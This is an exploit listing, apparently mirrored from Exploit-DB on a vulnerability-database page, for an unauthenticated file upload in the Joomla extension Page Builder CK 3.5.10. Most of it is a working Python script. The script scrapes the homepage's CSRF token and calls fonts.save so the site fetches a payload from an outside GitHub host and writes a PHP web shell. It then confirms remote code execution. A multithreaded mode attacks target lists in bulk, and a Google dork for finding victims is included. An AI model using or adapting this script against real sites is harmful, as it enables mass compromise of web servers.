Lucene search
K

Joomla Page Builder CK 3.5.10 - Arbitrary File Upload

🗓️ 08 Jul 2026 00:00:00Reported by M@rAz AliType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 31 Views

Exploits unauthenticated fonts.save in Joomla Page Builder to upload PHP shell.

Related
Code
# Exploit Title: Joomla Page Builder CK  3.5.10 -  Arbitrary File Upload
# Google Dork: inurl:com_pagebuilderck OR "/components/com_pagebuilderck/assets/pagebuilderck.js"
# Date: 2026-07-04
# Exploit Author: M@rAz Ali
# Credits: Peyman Siyahi, MR.PERSIA
# Vendor Homepage: https://www.joomlack.fr/
# Software Link: https://www.joomlack.fr/en/joomla-extensions/page-builder-ck
# Version: <= 3.5.10 (patched in 3.6.0)
# Tested on: Joomla 4.x / 5.x on Linux (Apache + PHP 8.x)
# CVE: CVE-2026-56290
#
# Description:
#   Page Builder CK (com_pagebuilderck) exposes an unauthenticated fonts.save task that
#   fetches remote assets and writes attacker-controlled PHP into the webroot under:
#       media/com_pagebuilderck/gfonts/
#   The only gate is a Joomla CSRF token, which is publicly readable on the homepage.
#
#   This PoC triggers fonts.save with a remote callback, then verifies remote code
#   execution by checking the uploaded shell response.
#
# Disclaimer:
#   For authorized security testing and education only. Do not use against systems
#   you do not own or lack explicit written permission to assess.

from __future__ import annotations

import argparse
import os
import re
import sys
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
from pathlib import Path

import requests
import urllib3

# Remote callback that serves font.css + payload chain (must host your own for testing).
CALLBACK = "https://raw.githubusercontent.com/sagsooz/fonts/refs/heads/main"
SHELL_PATH = "media/com_pagebuilderck/gfonts/fbi.php"
EXPECTED_TITLE = "Fbi Shell"

DEFAULT_THREADS = 20
DEFAULT_TIMEOUT = 12
HITS_FILE = Path(__file__).resolve().parent / "hits.txt"

TOKEN_PATTERNS = (
    r'"csrf\.token"\s*:\s*"([A-Za-z0-9_-]+)"',
    r"'csrf\.token'\s*:\s*'([A-Za-z0-9_-]+)'",
    r'name="([a-f0-9]{32})"\s+value="1"',
    r'value="1"\s+name="([a-f0-9]{32})"',
)

_PRINT_LOCK = threading.Lock()
_HITS_LOCK = threading.Lock()
_SAVED_HITS: set[str] = set()


def log(msg: str) -> None:
    with _PRINT_LOCK:
        print(msg, flush=True)


def normalize_url(url: str) -> str:
    url = url.strip()
    if not url.startswith(("http://", "https://")):
        url = "https://" + url
    return url.rstrip("/")


def extract_token(html: str) -> str | None:
    for pattern in TOKEN_PATTERNS:
        match = re.search(pattern, html, re.I)
        if match:
            return match.group(1)
    return None


def extract_title(html: str) -> str | None:
    match = re.search(r"<title[^>]*>([^<]+)</title>", html, re.I | re.S)
    if match:
        return match.group(1).strip()
    return None


def rce_confirmed(html: str) -> bool:
    title = extract_title(html)
    if title and EXPECTED_TITLE.lower() in title.lower():
        return True
    return EXPECTED_TITLE.lower() in html.lower()


def resolve_index_url(base: str, landing_url: str) -> str:
    path = requests.utils.urlparse(landing_url).path or "/"
    lang = re.match(r"^/index\.php/([a-z]{2}(?:-[a-z]{2})?)(?:/|$)", path, re.I)
    if lang:
        return f"{base}/index.php/{lang.group(1)}"
    lang = re.match(r"^/([a-z]{2}(?:-[a-z]{2})?)(?:/|$)", path, re.I)
    if lang and path.count("/") <= 2:
        return f"{base}/index.php/{lang.group(1)}"
    return f"{base}/index.php"


def save_hit(shell_url: str, *, output: Path) -> None:
    with _HITS_LOCK:
        if shell_url in _SAVED_HITS:
            return
        _SAVED_HITS.add(shell_url)
        with output.open("a", encoding="utf-8") as fh:
            fh.write(shell_url + "\n")
            fh.flush()
            os.fsync(fh.fileno())
    log(f"[+] SHELL URL SAVED -> {shell_url}")


def make_session(*, insecure: bool, timeout: float) -> requests.Session:
    session = requests.Session()
    session.verify = not insecure
    session.headers.update(
        {
            "User-Agent": (
                "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
                "AppleWebKit/537.36 (KHTML, like Gecko) "
                "Chrome/124.0.0.0 Safari/537.36"
            ),
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        }
    )
    session.request = _wrap_timeout(session.request, timeout)  # type: ignore[method-assign]
    return session


def _wrap_timeout(request_method, timeout: float):
    def wrapped(method, url, **kwargs):
        kwargs.setdefault("timeout", timeout)
        return request_method(method, url, **kwargs)

    return wrapped


def exploit(
    target: str,
    *,
    insecure: bool,
    timeout: float,
    verbose: bool,
) -> tuple[int, str, str | None]:
    """
    Returns (status, note, shell_url)
      0 = RCE confirmed
      2 = file written, PHP not executed
      1 = failed / not vulnerable
    """
    session = make_session(insecure=insecure, timeout=timeout)
    shell_url = f"{target}/{SHELL_PATH}"

    try:
        home = session.get(f"{target}/", allow_redirects=True)
    except requests.RequestException as exc:
        return 1, f"homepage failed: {exc}", None

    token = extract_token(home.text)
    if not token:
        return 1, "no CSRF token on homepage", None

    index_url = resolve_index_url(target, home.url)
    params = {"option": "com_pagebuilderck", "task": "fonts.save", token: "1"}
    data = {
        "local": "1",
        "fontvars": "regular",
        "fontname": "bb",
        "url": f"{CALLBACK}/font.css",
        token: "1",
    }

    try:
        save = session.post(
            index_url,
            params=params,
            data=data,
            headers={
                "Content-Type": "application/x-www-form-urlencoded",
                "Accept": "application/json,text/plain,*/*",
                "Origin": target,
                "Referer": home.url,
            },
        )
    except requests.RequestException as exc:
        return 1, f"fonts.save request failed: {exc}", shell_url

    if "ERROR_INVALID_CONTROLLER" in save.text:
        return 1, "component/controller not present", shell_url

    try:
        check = session.get(shell_url)
    except requests.RequestException as exc:
        return 1, f"shell verification failed: {exc}", shell_url

    body = check.text
    title = extract_title(body)

    if verbose:
        log(f"[*] Target     : {target}")
        log(f"[+] CSRF token : {token}")
        log(f"[+] Index URL  : {index_url}")
        log(f"[+] fonts.save : HTTP {save.status_code}")
        preview = save.text.strip().replace("\n", " ")[:200]
        if preview:
            log(f"[+] Response   : {preview!r}")
        log(f"[+] Shell path : {shell_url} (HTTP {check.status_code})")
        if title:
            log(f"[+] Shell title: {title!r}")

    if check.status_code == 200 and rce_confirmed(body):
        return 0, f"RCE confirmed (title: {title or EXPECTED_TITLE})", shell_url

    if check.status_code == 200 and "<?php" in body:
        return 2, "file written but PHP not executed", shell_url

    if check.status_code == 200 and title:
        return 1, f"not confirmed (title: {title!r})", shell_url

    return 1, f"not confirmed (HTTP {check.status_code})", shell_url


def run_single(target: str, *, insecure: bool, timeout: float) -> int:
    log(f"[*] Callback URL : {CALLBACK}")
    log(f"[*] Shell path   : {SHELL_PATH}")
    log(f"[*] RCE marker   : <title> contains {EXPECTED_TITLE!r}")
    code, note, shell_url = exploit(target, insecure=insecure, timeout=timeout, verbose=True)

    if code == 0 and shell_url:
        log(f"[+] EXPLOIT SUCCESS -> {shell_url}")
        return 0
    if code == 2:
        log(f"[!] PARTIAL: {note}")
        return 2

    log(f"[-] FAILED: {note}")
    return 1


def parse_target_line(line: str) -> str | None:
    line = line.split("#", 1)[0].strip()
    if not line:
        return None
    return normalize_url(line.split("|", 1)[0].split(",", 1)[0].strip())


def load_targets(path: Path) -> list[str]:
    if not path.is_file():
        raise FileNotFoundError(f"targets file not found: {path}")

    targets: list[str] = []
    seen: set[str] = set()
    for raw in path.read_text(encoding="utf-8").splitlines():
        url = parse_target_line(raw)
        if not url or url in seen:
            continue
        seen.add(url)
        targets.append(url)

    if not targets:
        raise ValueError(f"no targets in {path}")
    return targets


def run_mass(
    targets_path: Path,
    *,
    insecure: bool,
    timeout: float,
    threads: int,
    output: Path,
) -> int:
    targets = load_targets(targets_path)
    workers = max(1, min(threads, len(targets)))

    log(f"[*] Loaded {len(targets)} target(s) from {targets_path.name}")
    log(f"[*] Callback URL : {CALLBACK}")
    log(f"[*] Shell path   : {SHELL_PATH}")
    log(f"[*] Output file  : {output.name}")
    log(f"[*] Threads      : {workers} | Timeout: {timeout:g}s")
    print()

    confirmed = partial = failed = 0

    def work(index: int, target: str) -> tuple[str, int, str, str | None]:
        code, note, shell_url = exploit(target, insecure=insecure, timeout=timeout, verbose=False)
        if code == 0 and shell_url:
            save_hit(shell_url, output=output)
            log(f"[{index}/{len(targets)}] HIT  {target} -> {shell_url}")
            return target, code, note, shell_url
        if code == 2:
            log(f"[{index}/{len(targets)}] PART {target} -> {note}")
            return target, code, note, shell_url
        return target, code, note, shell_url

    with ThreadPoolExecutor(max_workers=workers) as pool:
        futures = {
            pool.submit(work, i, target): target
            for i, target in enumerate(targets, start=1)
        }
        for future in as_completed(futures):
            _target, code, _note, _shell = future.result()
            if code == 0:
                confirmed += 1
            elif code == 2:
                partial += 1
            else:
                failed += 1

    print()
    log(f"[*] Done | Hit: {confirmed} | Partial: {partial} | Miss: {failed}")
    if confirmed:
        log(f"[+] {confirmed} shell URL(s) saved to {output.name}")
    return 0 if confirmed else 1


def main() -> int:
    parser = argparse.ArgumentParser(
        description="Joomla Page Builder CK <= 3.5.10 fonts.save unauthenticated RCE PoC"
    )
    group = parser.add_mutually_exclusive_group(required=True)
    group.add_argument("-u", "--url", help="Single target, e.g. https://lab.joomla.local")
    group.add_argument("-f", "--file", metavar="FILE", help="Target list (one URL per line)")
    parser.add_argument("--insecure", action="store_true", help="Skip TLS certificate verification")
    parser.add_argument(
        "--threads",
        type=int,
        default=DEFAULT_THREADS,
        help=f"Parallel workers for --file mode (default: {DEFAULT_THREADS})",
    )
    parser.add_argument(
        "--timeout",
        type=float,
        default=DEFAULT_TIMEOUT,
        help=f"HTTP timeout in seconds (default: {DEFAULT_TIMEOUT})",
    )
    parser.add_argument(
        "--output",
        metavar="FILE",
        default=str(HITS_FILE),
        help=f"Save confirmed shell URLs (default: {HITS_FILE.name})",
    )
    args = parser.parse_args()

    if args.insecure:
        urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

    if args.file:
        path = Path(args.file)
        if not path.is_absolute():
            path = (Path.cwd() / path).resolve()
        output = Path(args.output)
        if not output.is_absolute():
            output = (Path.cwd() / output).resolve()
        return run_mass(
            path,
            insecure=args.insecure,
            timeout=args.timeout,
            threads=args.threads,
            output=output,
        )

    return run_single(
        normalize_url(args.url),
        insecure=args.insecure,
        timeout=args.timeout,
    )


if __name__ == "__main__":
    raise SystemExit(main())

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Jul 2026 00:00Current
6.1Medium risk
Vulners AI Score6.1
CVSS 3.19.8
CVSS 410
EPSS0.02912
SSVC
31